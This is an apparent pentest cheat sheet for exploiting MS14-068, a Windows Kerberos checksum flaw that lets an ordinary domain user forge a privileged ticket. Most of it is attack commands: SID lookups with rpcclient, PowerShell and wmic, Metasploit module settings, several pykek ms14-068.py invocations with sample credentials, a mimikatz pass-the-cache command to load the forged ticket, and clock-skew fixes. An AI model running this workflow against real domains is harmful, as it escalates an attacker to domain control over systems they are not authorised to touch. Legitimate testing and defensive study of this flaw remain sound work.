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Kerberos Checksum Validation ( MS14-068 )

Logoms14068 · gentilkiwi/kekeo WikiGitHub

The vulnerability patches an issue with how the Domain Controller validates group membership in Kerberos tickets (hint: the ticket is always validated by the DC if the checksum is set to certain values). Microsoft KB3011780 patches this issue.

This vulnerability will impact the windows server versions up to windows server 2012 R2.

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

Finding SID

to find the SID remotely:

rpcclient $> lookupnames john.smith

convert SID to username:

([System.Security.Principal.SecurityIdentifier]('PUT-SID-HERE')).Translate([System.Security.Principal.NTAccount]).Value

convert username to SID:

([System.Security.Principal.NTAccount]("domain\john.smith")).Translate([System.Security.Principal.SecurityIdentifier]).Value

to find SID locally:

wmic useraccount get name,sid
Convert-NameToSid high-sec-corp.localkrbtgt (powerview)

Generating Ticket

can use pykek or metasploit:

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
git clone https://github.com/SecWiki/windows-kernel-exploits

python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u [email protected] -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
python ./ms14-068.py -u [email protected] -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
python ms14-068.py -u [email protected] -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105

Loading the Ticket

Use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\[email protected]"

If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set
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